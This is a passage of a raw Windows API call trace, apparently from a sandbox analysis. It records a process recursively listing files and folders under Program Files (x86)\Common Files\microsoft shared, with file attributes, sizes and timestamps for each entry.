lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2612d14c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2612d14c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xadc05c90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0244.698] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2040b6fe, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2040b6fe, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe2234520, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="skchobj.dll", cAlternateFileName="")) returned 1 [0244.698] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2043185d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2043185d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe2234520, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="skchui.dll", cAlternateFileName="")) returned 1 [0244.698] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5c335e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x1f5c335e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7764cdc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip32.exe", cAlternateFileName="")) returned 1 [0244.698] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37da0ed4, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x37da0ed4, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xaf635e30, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0244.698] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x232762c6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x232762c6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xaf6cd410, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0244.698] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x232762c6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x232762c6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xaf6cd410, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 0 [0244.699] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0244.699] GetProcessHeap () returned 0x550000 [0244.699] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0244.699] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSEnv", cAlternateFileName="")) returned 1 [0244.699] GetProcessHeap () returned 0x550000 [0244.699] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0244.699] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0244.836] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.836] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 1 [0244.836] GetProcessHeap () returned 0x550000 [0244.836] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.836] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.843] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.844] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b285700, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b285700, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensibility.dll", cAlternateFileName="EXTENS~1.DLL")) returned 1 [0244.844] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b285700, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b285700, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensibility.dll", cAlternateFileName="EXTENS~1.DLL")) returned 0 [0244.844] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.844] GetProcessHeap () returned 0x550000 [0244.844] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.844] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 0 [0244.844] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0244.845] GetProcessHeap () returned 0x550000 [0244.845] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0244.845] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0244.845] GetProcessHeap () returned 0x550000 [0244.845] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0244.845] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0244.848] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.848] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.848] GetProcessHeap () returned 0x550000 [0244.848] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.848] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.848] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.848] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99bae7b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x99bae7b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0244.848] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99bae7b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x99bae7b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0244.849] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.849] GetProcessHeap () returned 0x550000 [0244.849] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.849] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a868239, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a868239, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a868239, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0244.849] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a868239, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a868239, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a868239, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0244.849] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0244.849] GetProcessHeap () returned 0x550000 [0244.849] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0244.849] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0244.849] GetProcessHeap () returned 0x550000 [0244.849] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0244.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0244.850] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.850] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7b1bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7b1bc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.850] GetProcessHeap () returned 0x550000 [0244.850] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.850] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7b1bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7b1bc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.854] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7b1bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7b1bc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.854] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdeee800, ftCreationTime.dwHighDateTime=0x1cbf448, ftLastAccessTime.dwLowDateTime=0xba7d7d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcdeee800, ftLastWriteTime.dwHighDateTime=0x1cbf448, nFileSizeHigh=0x0, nFileSizeLow=0x262180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0244.854] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fe4200, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x19b36970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78fe4200, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1 [0244.854] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fe4200, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x19b5cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78fe4200, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0244.854] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fe4200, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x19b5cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78fe4200, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 0 [0244.854] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.854] GetProcessHeap () returned 0x550000 [0244.854] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.854] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a395f00, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xae3504c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7a395f00, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x35afb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0244.854] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadf72d00, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xae376620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf72d00, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x129b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0244.855] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad3651a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xad3651a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad3651a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0244.855] GetProcessHeap () returned 0x550000 [0244.855] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.855] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad3651a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xad3651a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad3651a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.855] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad3651a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xad3651a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad3651a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.855] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3715a00, ftCreationTime.dwHighDateTime=0x1cbe3e4, ftLastAccessTime.dwLowDateTime=0xad3b1460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3715a00, ftLastWriteTime.dwHighDateTime=0x1cbe3e4, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0244.855] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3715a00, 